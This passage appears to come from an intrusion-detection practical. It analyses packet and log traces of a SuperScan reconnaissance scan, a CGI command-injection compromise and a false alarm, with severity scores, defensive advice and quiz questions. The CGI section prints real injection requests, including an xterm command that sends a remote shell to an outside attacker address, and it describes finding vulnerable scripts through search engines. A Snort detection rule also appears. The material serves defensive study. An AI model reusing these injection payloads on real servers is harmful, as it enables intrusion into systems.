Aug 04 2001 00:41:05.265281 213.1.109.127.4744 > MY.NET.186.101.21: F 3:3(0) ack 58 win 9055 (DF)
Aug 04 2001 00:41:05.265597 MY.NET.186.101.21 > 213.1.109.127.4744: . ack 4 win 32696 (DF)
Aug 04 2001 00:41:05.266000 MY.NET.186.101.21 > 213.1.109.127.4744: F 58:58(0) ack 4 win 32696 (DF)
Aug 04 2001 00:41:05.320622 213.1.109.127.4749 > MY.NET.186.106.21: P 1:3(2) ack 1 win 9112 (DF)
Aug 04 2001 00:41:05.320688 213.1.109.127.4749 > MY.NET.186.106.21: . ack 1 win 9112 (DF)
Aug 04 2001 00:41:05.323492 MY.NET.186.106.21 > 213.1.109.127.4749: . ack 3 win 17686 (DF)
Aug 04 2001 00:41:05.401456 MY.NET.186.106.21 > 213.1.109.127.4749: P 1:57(56) ack 3 win 17688 (DF)

Aug 04 2001 00:41:05.505818 213.1.109.127.4746 > MY.NET.186.103.21: F 3:3(0) ack 56 win 9057 (DF)
Aug 04 2001 00:41:05.506139 MY.NET.186.103.21 > 213.1.109.127.4746: . ack 4 win 32696 (DF)
Aug 04 2001 00:41:05.506492 MY.NET.186.103.21 > 213.1.109.127.4746: F 56:56(0) ack 4 win 32696 (DF)
Aug 04 2001 00:41:05.565653 213.1.109.127.4744 > MY.NET.186.101.21: . ack 59 win 9055 (DF)
Aug 04 2001 00:41:05.805975 213.1.109.127.4746 > MY.NET.186.103.21: . ack 57 win 9057 (DF)
...
many connection attempts and rejections on port 21 to various IPs between MY.NET.186.97 and MY.NET.186.126
...
Aug 04 2001 01:30:40.46931 213.1.109.127.2807 > MY.NET.186.103.21: S 3898110363:3898110363(0) win 8760 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 01:30:40.47667 MY.NET.186.103.21 > 213.1.109.127.2807: S 2755309111:2755309111(0) ack 3898110364 win 32696 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 01:30:40.296045 213.1.109.127.2808 > MY.NET.186.103.21: S 3898220106:3898220106(0) win 8760 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 01:30:40.296360 MY.NET.186.103.21 > 213.1.109.127.2808: S 2765141926:2765141926(0) ack 3898220107 win 32696 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 01:30:40.356435 213.1.109.127.2807 > MY.NET.186.103.21: . ack 1 win 9112 (DF)
Aug 04 2001 01:30:40.585965 213.1.109.127.2808 > MY.NET.186.103.21: . ack 1 win 9112 (DF)
Aug 04 2001 01:30:40.657020 MY.NET.186.103.21 > 213.1.109.127.2807: P 1:56(55) ack 1 win 32696 (DF)
Aug 04 2001 01:30:40.886479 MY.NET.186.103.21 > 213.1.109.127.2808: P 1:56(55) ack 1 win 32696 (DF)
Aug 04 2001 01:30:40.996172 213.1.109.127.2807 > MY.NET.186.103.21: P 1:17(16) ack 56 win 9057 (DF)
Aug 04 2001 01:30:40.996545 MY.NET.186.103.21 > 213.1.109.127.2807: . ack 17 win 32696 (DF)
Aug 04 2001 01:30:41.19592 MY.NET.186.103.21 > 213.1.109.127.2807: P 56:94(38) ack 17 win 32696 (DF)
Aug 04 2001 01:30:41.196455 213.1.109.127.2808 > MY.NET.186.103.21: P 1:17(16) ack 56 win 9057 (DF)
Aug 04 2001 01:30:41.196848 MY.NET.186.103.21 > 213.1.109.127.2808: . ack 17 win 32696 (DF)
Aug 04 2001 01:30:41.219228 MY.NET.186.103.21 > 213.1.109.127.2808: P 56:94(38) ack 17 win 32696 (DF)
Aug 04 2001 01:30:41.355934 213.1.109.127.2807 > MY.NET.186.103.21: P 17:38(21) ack 94 win 9019 (DF)
Aug 04 2001 01:30:41.374831 MY.NET.186.103.21 > 213.1.109.127.2807: . ack 38 win 32696 (DF)
Aug 04 2001 01:30:41.389667 MY.NET.186.103.21 > 213.1.109.127.2807: P 94:116(22) ack 38 win 32696 (DF)
Aug 04 2001 01:30:41.545962 213.1.109.127.2808 > MY.NET.186.103.21: P 17:38(21) ack 94 win 9019 (DF)
Aug 04 2001 01:30:41.564860 MY.NET.186.103.21 > 213.1.109.127.2808: . ack 38 win 32696 (DF)
Aug 04 2001 01:30:41.579579 MY.NET.186.103.21 > 213.1.109.127.2808: P 94:116(22) ack 38 win 32696 (DF)
Aug 04 2001 01:30:41.716172 213.1.109.127.2807 > MY.NET.186.103.21: F 38:38(0) ack 116 win 8997 (DF)
Aug 04 2001 01:30:41.716497 MY.NET.186.103.21 > 213.1.109.127.2807: . ack 39 win 32696 (DF)
Aug 04 2001 01:30:41.866245 213.1.109.127.2808 > MY.NET.186.103.21: F 38:38(0) ack 116 win 8997 (DF)
Aug 04 2001 01:30:41.866563 MY.NET.186.103.21 > 213.1.109.127.2808: . ack 39 win 32696 (DF)
Aug 04 2001 01:30:41.866975 MY.NET.186.103.21 > 213.1.109.127.2808: F 116:116(0) ack 39 win 32696 (DF)
Aug 04 2001 01:30:41.887062 213.1.109.127.2808 > MY.NET.186.103.21: R 3898220145:3898220145(0) win 0 (DF)
Aug 04 2001 01:30:41.996007 213.1.109.127.2807 > MY.NET.186.103.21: R 3898110402:3898110402(0) win 0
Aug 04 2001 01:30:42.135811 213.1.109.127.2808 > MY.NET.186.103.21: R 3898220145:3898220145(0) win 0
Aug 04 2001 01:30:42.196607 213.1.109.127.2808 > MY.NET.186.103.21: R 3898220145:3898220145(0) win 0
...
many connection attempts and rejections on port 21 to various IPs between MY.NET.186.97 and MY.NET.186.126
...

1.Source of Trace:

The data for these traces was captured by a NIDS sensor placed outside of a network maintained by the author on behalf of a client. The sensor is in a position where it can monitor all ethernet traffic entering and leaving the network.

2.Detect was generated by

Trace #1 shown above was generated by snort v1.8.1 using tcpdump data for several days worth of network traffic as input. The sensor that captured this trace uses tcpdump to record all traffic it sees and snort is run periodically on the tcpdump captures. The snort rule that caught this was:

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP superscan echo"; content:"|0000000000000000|"; itype: 8; dsize:8;

classtype:attempted-recon; sid:474; rev:1;)

Essentially the rule catches any ICMP echo request that contains a string of zeros.

Trace #2 was generated by tcpdump 3.4. After snort revealed trace #1, a filter was applied to the original tcpdump data to find all packets to or from the attacker's IP 213.1.109.127 and that is what is shown in Trace #2. The timestamps in Trace #2 have been altered to be readable. Several pages of data were cut out of Trace #2 to improve readability. All the removed data was similar to what is already shown.

Trace #2 is provided because it shows many things not caught by Trace #1. Where Trace #1 identified a well known signature and generated almost identical alerts for each host on the network, Trace #2 shows that much more was actually going on than the snort alerts revealed.

3.Probability the source address was spoofed:

The attacker's IP address was probably not spoofed. We see in Trace #2 several completed "three way handshakes" which would not be possible with a spoofed IP address.

4.Description of attack:

This is a scan by the "superscan" tool. SuperScan can be downloaded from:
http://www.foundstone.com/rdlabs/termsofuse.php?filename=superscan.exe

Snort (Trace #1) told us that it found ICMP packets matching a signature for the SuperScan program. However the signature in question isn't very specific (a string of zero in an ICMP echo request packet). A more positive identification can be made by examining Trace #2. Trace #2 shows a tcpdump log for all traffic to and from the IP address of the attacker identified in Trace #1. The extra activity shown in the second trace allows us to positively identify the attack as a scan from SuperScan. See the next section ("Attack Mechanism") for details of how SuperScan works.

5.Attack mechanism:

The traces show an attempt to perform reconnaissance on the author's network with the SuperScan tool. SuperScan is a flexible network scanning tool for Microsoft Windows. Typically SuperScan is employed by first attempting to ping all hosts in a given IP range then following up by scanning specified ports on the hosts that it finds to be active by pinging. SuperScan can also be configured to scan the specified ports regardless of wheather the initial ping succeeds. When scanning a TCP port, SuperScan will attempt to complete a three way handshake and record whatever message is sent by the server. In the case of many TCP services information about

the software and version number providing the service are given in a “banner” after the three-way handshake.

Below is an excerpt from Trace #2 showing where SuperScan completed a three-way handshake (S, SA, SA) and exchanged data (P). Shown further below is an explanation of what the attacker likely saw if he was using the SuperScan tool.

```
...
Aug 04 2001 01:30:40.296045 213.1.109.127.2808 > MY.NET.186.103.21: S 3898220106:3898220106(0) win 8760 <mss
536,nop,nop,sackOK> (DF)
Aug 04 2001 01:30:40.296360 MY.NET.186.103.21 > 213.1.109.127.2808: S 2765141926:2765141926(0) ack
3898220107 win 32696 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 01:30:40.356435 213.1.109.127.2807 > MY.NET.186.103.21: . ack 1 win 9112 (DF)
Aug 04 2001 01:30:40.585965 213.1.109.127.2808 > MY.NET.186.103.21: . ack 1 win 9112 (DF)
Aug 04 2001 01:30:40.657020 MY.NET.186.103.21 > 213.1.109.127.2807: P 1:56(55) ack 1 win 32696 (DF)
Aug 04 2001 01:30:40.886479 MY.NET.186.103.21 > 213.1.109.127.2808: P 1:56(55) ack 1 win 32696 (DF)
Aug 04 2001 01:30:40.996172 213.1.109.127.2807 > MY.NET.186.103.21: P 1:17(16) ack 56 win 9057 (DF)
Aug 04 2001 01:30:40.996545 MY.NET.186.103.21 > 213.1.109.127.2807: . ack 17 win 32696 (DF)
...
```

For all the attacker’s probes both stimulus and response can be observed in Trace #2, indicating the attacker may have successfully gathered information about the network. In this case we see that only port 21 (FTP port) is being targeted, and that clearly even those hosts that could not be pinged are being checked for FTP. Fortunately SuperScan does not report “unreachable” messages with the address of the responder (the router/firewall)! Below is a screen shot showing what the attacker might have seen if he was indeed using SuperScan:

If SuperScan was the tool being used, then the attacker has probably learned which servers are active (via ping) and which are running FTP, and what type of FTP server software is being run.

With a tool that records more information, the attacker would potentially have been able to glean more than just a list of which servers are active (via ping) and which are

running FTP services (via the subsequent port scan). The attacker could have learned the size and boundaries of the network and the IP address of router/firewall for the network. Below we see a case where the attacker attempts to ping MY.NET.186.127, which is in fact a broadcast address for the network (last address in the subnet), but where the router/firewall answers back instead with many ICMP "unreachable" messages telling the attacker that MY.NET.189.34 is most likely a firewall or router for the host being scanned.

```
Aug 04 2001 00:34:15.25275 213.1.109.127 > MY.NET.186.127: icmp: echo request
Aug 04 2001 00:34:15.25321 MY.NET.189.34 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:34:16.276888 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.98 unreachable [tos 0xc0]
Aug 04 2001 00:34:16.916851 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.107 unreachable [tos 0xc0]
Aug 04 2001 00:34:16.976875 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.108 unreachable [tos 0xc0]
Aug 04 2001 00:34:17.36895 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.109 unreachable [tos 0xc0]
Aug 04 2001 00:34:17.76866 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.110 unreachable [tos 0xc0]
Aug 04 2001 00:34:17.166877 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.111 unreachable [tos 0xc0]
Aug 04 2001 00:34:17.326870 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.114 unreachable [tos 0xc0]
```

Further reports, identifying the router/firewall are seen when the attack begins scanning for FTP servers:

```
Aug 04 2001 00:41:04.210444 213.1.109.127.4743 > MY.NET.186.100.21: S 2859584536:2859584536(0) win 8760 <mss
536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:04.210614 MY.NET.189.34 > 213.1.109.127: icmp: MY.NET.186.100 tcp port 21 unreachable [tos
0xc0]
```

Later the same attacker scans the MY.NET.189.34 address (the router/firewall), most likely this was not a follow-up based on information he already gleaned. The attacker was probably scanning a large block of IP addresses in sequential order (the standard behavior of Superscan). The timestamps of showing when the network, and later router, were pinged seem to support this conclusion.

Aug 04 2001 00:34:15.25275 213.1.109.127 > MY.NET.**186.127**: icmp: echo request
Aug 04 2001 00:34:15.25321 MY.NET.189.34 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:34:56.988096 213.1.109.127 > MY.NET.**189.34**: icmp: echo request
Aug 04 2001 00:34:56.988154 MY.NET.189.34 > 213.1.109.127: icmp: echo reply

6.Correlation:

Neither the CID database on http://www.incidents.org/cid/ or the ARIS database at http://aris.securityfocus.com/ show any similar incidents from the attackers IP. The SuperScan tool itself is well known and popular, and many security mailing list archives contain discussions of its use. For brevity no specific correlation is quoted here. Information about the SuperScan tool can be found at http://www.foundstone.com/rdlabs/termsofuse.php?filename=superscan.exe

7.Evidence of active targeting:

The attacker does not appear to be targeting a specific server. The attacker scanned the first and last IPs of the subnet (MY.NET.186.96 and MY.NET.186.127) which are

not hosts but are broadcasts addresses for the subnet. This might indicate that the attacker was not scanning this network specifically and had picked the entire MY.NET.186.0 Class C network randomly. The attacker is probably attempting to identify vulnerable hosts in prelude to further attacks.

8.Severity:

(Criticality + Lethality) - (System+Network) = Severity
(4 + 2)-(4 + 3) = -1.

Criticality: **4**
Several of the servers contain highly confidential information protected by Freedom of Information Privacy Laws and must be protected. Additionally the firewall/router for the network could have been identified by the attacker if SuperScan (reported by snort) was not being used.

Lethality: 2
The attacker can only gain information about network geography and services available on specific hosts with this attack.

System Countermeasures: 4
The servers on the network have current operating system patches and most are "hardened" against attack.

Network Countermeasures: 3
The firewall could have a stronger configuration (by not allowing pings from untrusted networks and not responding with ICMP host/port unreachable packets). However the firewall is somewhat fairly restrictive, allowing access only to specific ports on specific hosts.

9.Defensive recommendation:

The firewall could be configured to disallow ICMP echo requests from untrusted networks. In the case, the attacker was able to successfully determine which hosts on the network were active and which were not. An "active response" NIDS system, such as that available in recent versions of snort (v1.8+) could be used to dynamically block this kind of reconnaissance attempt.

Additionally the attacker has potentially learned that MY.NET.189.34 is a router/firewall for the network being scanned. The firewall could be configured to not respond with ICMP host unreachable and ICMP port unreachable requests to deny attackers the opportunity of identifying key network resources so easily.

10.Multiple choice test question:

```
Aug 04 2001 00:34:13.179726 213.1.109.127 > MY.NET.186.96: icmp: echo request
Aug 04 2001 00:34:13.179812 MY.NET.189.34 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:34:13.224674 213.1.109.127 > MY.NET.186.97: icmp: echo request
Aug 04 2001 00:34:13.224714 MY.NET.186.97 > 213.1.109.127: icmp: echo reply
```

```
Aug 04 2001 00:34:13.279466 213.1.109.127 > MY.NET.186.98: icmp: echo request
Aug 04 2001 00:34:13.325153 213.1.109.127 > MY.NET.186.99: icmp: echo request
Aug 04 2001 00:34:13.327128 MY.NET.186.99 > 213.1.109.127: icmp: echo reply
```

In the trace above, what vital information has the attacker gained?

a)MY.NET.186.96 is a host on and MY.NET.189.34 is a broadcast address for the target's network

b)MY.NET.186.96 is a router for and MY.NET.189.34 is a broadcast address for the target's network

c)MY.NET.189.34 is a router for and MY.NET.189.96 is a host on the target's network

d)MY.NET.189.34 is a router for and MY.NET.189.96 is a broadcast address for the target's network

d) is the correct answer

Network Detect #3: System Compromise via CGI

```
195.188.176.194 - - [22/Jan/2001:05:56:16 -0700] "GET /cgi-progs/loadfile.cgi?file=service_voluntr.htm HTTP/1.0" 200 24813
"http://www.google.com/search?q=allinurl%3A+%22.cgi%3FFILE%3D%22&num=100&hl=en&lr=&safe=off&btnG=Google+Search"
"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
195.188.176.194 - - [24/Jan/2001:06:03:22 -0700] "GET /cgi-progs/loadfile.cgi?file=|"/usr/openwin/bin/xterm"%20-ut%20-
display%20212.1.156.253:0| HTTP/1.0" 200 20390 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
195.188.176.194 - - [08/Feb/2001:02:39:42 -0700] "GET /cgi-progs/loadfile.cgi?file=|"/usr/openwin/bin/xterm"%20-ut%20-
bg%20red%20-display%20212.1.137.124:0| HTTP/1.0" 200 246 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
```

1.Source of Trace:

The trace was extracted from a web server access logfiles after an intrusion had been reported to one of the author's clients but an anonymous third party. The anonymous party specified the name of a CGI program (loadfile.cgi) they believed could be used to gain unauthorized shell access to the client's webserver.

2.Detect was generated by:

The trace shown above is an excerpt of a logfile generated by Netscape Enterprise Server. The logfile is in the standard “combined” format used by Apache and many other webservers. The fields shown are as follows:

1. IP Address of HTTP Client (web browser)
2. Two dashes: - -
3. [Date and Time of Request]
4. “The specific HTTP request made by the client”
5. The HTTP response code given to the client by the server
6. The number of bytes of data transferred to the client from the server
7. “The URL of the web page that referred to the URL requested by the client”
8. “The user-agent string of the HTTP client (name and version of the web browser)”

The traces shown represent a excerpt from the web server's logfile relevant to the attack. The specific excerpt was discovered by searching for the name of the CGI program that had been reported as a source of compromise to the client, and then finding entries that represented unusual uses of the CGI program. The entries shown are known to have produced system compromises.

3.Probability the source address was spoofed:

The source addresses were probably not spoofed. The logfiles were generated by an HTTP server. HTTP is a TCP protocol and requires a three-way handshake to complete making it highly unlikely that the attacker’s address could be spoofed.

4.Description of attack:

The attacker exploited a CGI program that would open files on the local filesystem. The attacker passed strings that would be interpreted as commands in place of filenames and hoped that the CGI program would execute the commands. The commands were executed and allowed the attacker to view system process lists and copy files from the server without authorization. One attacker was able to open a shell (via the "xterm" program) and thus gain full interactive shell access.

5.Attack mechanism:

In the trace we see that the attacker did pass Unix commands after the "file=" part. These had to be encoded correctly. There are many strings in the URL that look like a percent sign followed by two numbers. This is how special characters are encoded in URLs for HTTP requests. The commands look cryptic by are decoded by the web server and the CGI to be Unix commands. Specifically the attacker passed the following shell command hoping it would executed:

```
/usr/openwin/bin/xterm -ut -display 212.1.156.253:0
```

This command would cause a terminal window containing an interactive shell to be displayed on a computer under the control of the attacker. With interactive shell access the attacker could launch additional attacks with greater ease.

Indeed it was discovered during a later, more thorough investigation that the attacker had used shell access to investigate the server, download exploits, gain root level access, and install a password sniffer.

6.Correlation:

Attacks of this type are becoming more common. While the author is not aware of any specific incidents reported publicly, CERT has published server alerts (listed below) drawing attention to general vulnerabilities in web applications. Further, a recent magazine article suggests that malicious individuals are using Google to file vulnerabilities in web applications:

1. http://www.cert.org/advisories/CA-1996-11.html
2. http://www.cert.org/advisories/CA-1997-25.html
3. Google, others dig deep--maybe too deep:http://news.cnet.com/news/0-1005-200-7946411.html?tag=lh

7.Evidence of active targeting:

It is interesting to note how the attacker discovered the vulnerability in the CGI program. Notice the "referrer" field in the initial lines of both traces:

```
http://www.google.com/search?q=allinurl%3A+%22.cgi%3FFILE%3D%22&num=100&hl=en&lr=&safe=off&btnG=Google+Search
```

This is the URL that contained a link that the user followed to find the vulnerable CGI that was exploited. The URL represents a searching using the Google search engine for 'allinurl: ".cgi?FILE="' which will yield a list of URLs that contain the string '.cgi?FILE='. The attacker is assuming that many CGI are written in the PERL programming language. Any string that comes after "FILE=" in an URL for a CGI program is likely to be passed to a function that will try to open that file. In the PERL programming language the command that opens files can accept the name of a file OR the name of a Unix command to be executed.

The attacker is specifically looking for CGI programs which are likely to be vulnerable to exploitation.

8.Severity:

(Criticality + Lethality) -(System+Network) = Severity
***(4 + 4)-(1 + 4) = 3*.**

Criticality: 4
The server that was compromised is an e-commerce web server that processes credit-card transactions and contains other confidential data. This server does not affect other critical infrastructure however.

Lethality: 4
The attacker was able to compromise the system gaining remote shell access! Later the attacker was able to use other exploits (not covered here) to gain root access but this exploit itself only lead to non-root access.

System Countermeasures: 1
The servers did not have current operating system patches and was not hardened against attack. No security measures were in place.

Network Countermeasures: **4**
The firewall could have a stronger configuration. Egress filtering would have been helpful. However the firewall is fairly restrictive, allowing inbound access only to specific ports on specific hosts.

9.Defensive recommendation:

Web developers must take care when creating CGI programs. Input is passed to these program from potentially unknown, nearly anonymous sources. It can never be assumed that the input is not maliciously constructed. CGI programs should never use input passed via the HTTP request as the basis of name of files to be opened or commands to be executed (including function names internal to the program or development environment as is common when programming with "dispatch tables"). It is prudent to pre-process input passed in HTTP requests for validity; the most strict the pre-processing the better.

In this case, egress filtering on the firewall that protected the firewall would have been helpful. Remote shells of the type the attacker was opening (initiated from within the firewall) are not required for the maintenance of the webserver and the firewall policy should reflect this.

Regular auditing of web server logs for the presence of potential system commands (which should never appear in the HTTP access logfiles) would also be helpful in detecting this type of intrusion.

10.Multiple choice test question:

In the following web server logfile entry, was does "http://www.google.com/search?q=allinurl%3A+%22.cgi%3FFILE%3D%22&num=100&hl=en&lr=&safe=off&btnG=Google+Search" represent?

```
195.188.176.194 - - [22/Jan/2001:05:56:16 -0700] "GET /cgi-progs/loadfile.cgi?file=service_voluntr.htm HTTP/1.0"
200 24813
"http://www.google.com/search?q=allinurl%3A+%22.cgi%3FFILE%3D%22&num=100&hl=en&lr=&safe=off&btnG=Go
ogle+Search" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
```

a) A google search being made by the HTTP client.
b) The URL being requested by the HTTP client.
c) The pathname of the HTTP program on the server.
d) An URL that contained a link to the web page being requested from the HTTP server.
The correct answer is d)

Network Detect #4: Outgoing HTTPS (False Alarm)

```
Nov  2 13:38:58 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60 S=0x00
I=53819 F=0x4000 T=48
Nov  2 13:39:01 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60 S=0x00
I=59169 F=0x4000 T=48
Nov  2 13:39:20 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60 S=0x00
I=26048 F=0x4000 T=48
Nov  2 13:39:43 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60 S=0x00
I=63704 F=0x4000 T=48
Nov  2 13:39:44 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60 S=0x00
I=1700 F=0x4000 T=48
Nov  2 13:40:31 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60 S=0x00
I=10282 F=0x4000 T=48
Nov  2 13:40:33 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60 S=0x00
I=13403 F=0x4000 T=48
Nov  2 13:42:09 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60 S=0x00
I=34009 F=0x4000 T=48
Nov  2 13:44:10 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60 S=0x00
I=29767 F=0x4000 T=48
```

1.Source of Trace:

The trace was captured by a firewall protecting a network of webservers maintained by the author on behalf of a client. The events are found during a weekly, manual, inspection of the firewall logs by the author. The events were of interest because they appear to be coming from TCP port 443 which is the port for HTTP (HTTP over SSL). The network protected by the firewall contains many HTTPS servers however, it would only be normal to see destination ports of 443; it would not be normal to see source ports of 443. It looks as if a server on the network is trying to make an outgoing HTTPS connection and that is NOT normal on the network in question. Furthermore, the destination port contains “331” in the port number which is too much like the hackish spelling of “elite” (31337) for the author's mind.

2.Detect was generated by:

The trace shown above is taken from the Linux kernel logs of a firewall using ipchains to filter incoming/outgoing packets. The firewall is running Linux kernel 2.0.13. The actual kernel/ipchains events are logged via syslog. The format of each entry is as follows:

1. Date and Time of the event
2. Hostname of the server ('gw')
3. Facility that logged the event ('kernel: Packet log:')
4. The “chain” that generate the log entry ('input')
5. Weather the packet was REJECTed, ACCEPTed, or DENYed
6. The interface name (eth0 == ethernet interface)
7. The IP protocol number of the packet (PROTO=6 == TCP)
8. The source IP address and port of the packet (216.148.218.165:443)
9. The destination IP address of the packet (MY.NET.186.98:33129)
10. L == length of packet in bytes

11.S == Type of Service
12.IP-ID == IP packet ID (increments with each packet sent)
13.F == Flags and 13 byte offset
14.T == Time to Live

3.Probability the source address was spoofed:

The source IP address is probably not spoofed.

It is difficult to tell if the IP address is spoofed since there is no three-way handshake (packets were rejected and the logs don't record is the packet was a Syn or Syn-Ack etc.) and we have no other logfiles. A confirmed explanation for the origin packets was found (see below) and it is believed they are not spoofed.

4.Description of attack:

Packets are coming from a single IP address, always from port 443 to a single IP on a high numbered port. The firewall from which the trace is taken protects many web servers. Port 443 is the port assigned for the HTTPS protocol (HTTP over SSL), however we would not normally see packets coming from external IP addresses on port 443. On this network we would normally see packets from external hosts destined for port 443 on one of the servers.

The server for which the packets are destined is a web server. We also see that the packets are always destined for the same port number on the server on our network. There is no service running on that port and thus the firewall is configured to reject all incoming traffic not explicitly allowed.

Looking closer at the trace we see that the timing of the packets match what we would expect for retransmitted TCP packets. The pattern looks very much like a host is trying to make a TCP connection but not getting any response; it is retrying the connection by waiting a little longer in between each retry.

It is possible that an application on the webserver MY.NET.186.98 is trying to make an HTTPS connection, going out from our network to 216.148.218.165 however this activity is explicitly forbidden on this network and would be unusual.

A reverse DNS lookup of the IP 216.148.218.165 reveals its name is: www.rhns.redhat.com. Further investigation reveals that this is a web server used by RedHat Linux's auto-update client. After contacting the maintainer of MY.NET.186.98 it was found that recently the server had been upgraded and runs RedHat Linux.

5.Attack mechanism:

The trace turned out to be a false alarm. The packets going to MY.NET.186.98 were very likely Syn-Ack responses from HTTPS connection attempts initiated by MY.NET.186.98. MY.NET.186.98 was recently upgraded and an auto-update client had been installed that attempts to contact www.rhns.redhat.com (216.148.218.165) via the HTTPS protocol.

The firewall on this network does not block outgoing packets but it only allows packets in on certain ports. The client (MY.NET.186.98) had sent out Syn packets from port 33129 and when www.rhns.redhat.com responded with a Syn-Ack the firewall rejected the packets because no inbound traffic is allowed to port 33129. MY.NET.186.98, which received no Syn-Ack, continued to retransmit Syn packets and this resulted in the classic "TCP retry" timing pattern.

6.Correlation:

None.

7.Evidence of active targeting:

Indeed the packets were being sent to a specific host, and were specifically intended for that host. However they were destined for the host for a specific, valid purpose; an HTTPS client looking for updates periodically at a well-known website.

8.Severity:

(Criticality + Lethality) -(System+Network) = Severity
(4 + 0)-(4 + 3) = -3.

Criticality: **4**
Several of the servers contain highly confidential information protected by Freedom of Information Privacy Laws and must be protected. Additionally the firewall/router for the network could have been identified by the attacker if superscan (reported by snort) was not being used.

Lethality: **0**
The attack was a false alarm.

System Countermeasures: **4**
The servers on the network have current operating system patches and most are "hardened" against attack.

Network Countermeasures: **3**
The firewall could have a stronger configuration by supporting egress filtering. However the firewall is somewhat fairly restrictive, allowing access only to specific ports on specific hosts.

9.Defensive recommendation:

If the firewall protecting the network was configured with egress filtering then the logs would have clearly showed the outgoing HTTPS connection attempt and no false alarm would have been raised. A clear trail of the problem would have been left.

10.Multiple choice test question:

```
Nov  2 13:38:58 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60
S=0x00 I=53819 F=0x4000 T=48
Nov  2 13:39:01 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60
S=0x00 I=59169 F=0x4000 T=48
Nov  2 13:39:20 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60
S=0x00 I=26048 F=0x4000 T=48
Nov  2 13:39:43 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60
S=0x00 I=63704 F=0x4000 T=48
Nov  2 13:39:44 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60
S=0x00 I=1700 F=0x4000 T=48
Nov  2 13:40:31 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60
S=0x00 I=10282 F=0x4000 T=48
Nov  2 13:40:33 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60
S=0x00 I=13403 F=0x4000 T=48
Nov  2 13:42:09 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60
S=0x00 I=34009 F=0x4000 T=48
Nov  2 13:44:10 gw kernel: Packet log: input REJECT eth0 PROTO=6 216.148.218.165:443 MY.NET.186.98:33129 L=60
S=0x00 I=29767 F=0x4000 T=48
```

What does the timing of the trace above probably indicate?
a) This is a “slow and low” scan
b) A host is not receiving an ACK to its TCP packets and is retransmitting them
c) The packets are all part of a single normal TCP connection
d) nothing can be determined from the timing

The correct answer is b)

```
Nov 26 11:40:46 hostl proftpd[25707] hostl (cc56658-a.emmen1.dr.nl.home.com[212.204.179.110]): FTP session opened.
Nov 26 11:40:47 hostl proftpd[25707] hostl (cc56658-a.emmen1.dr.nl.home.com[212.204.179.110]): ANON anonymous: Login
successful.
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:47 -0500] "CWD /pub/" 250 -
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:47 -0500] "CWD /public/" 550 -
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:47 -0500] "MKD 011126174035p" 550 -
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:47 -0500] "PASS Wgpuser@home.com" 230 -
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:48 -0500] "CWD /pub/incoming/" 550 -
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:49 -0500] "CWD /incoming/" 250 -
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:49 -0500] "MKD 011126174037p" 550 -
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:50 -0500] "CWD /" 250 -
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:50 -0500] "CWD /_vti_pvt/" 550 -
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:50 -0500] "CWD /upload/" 550 -
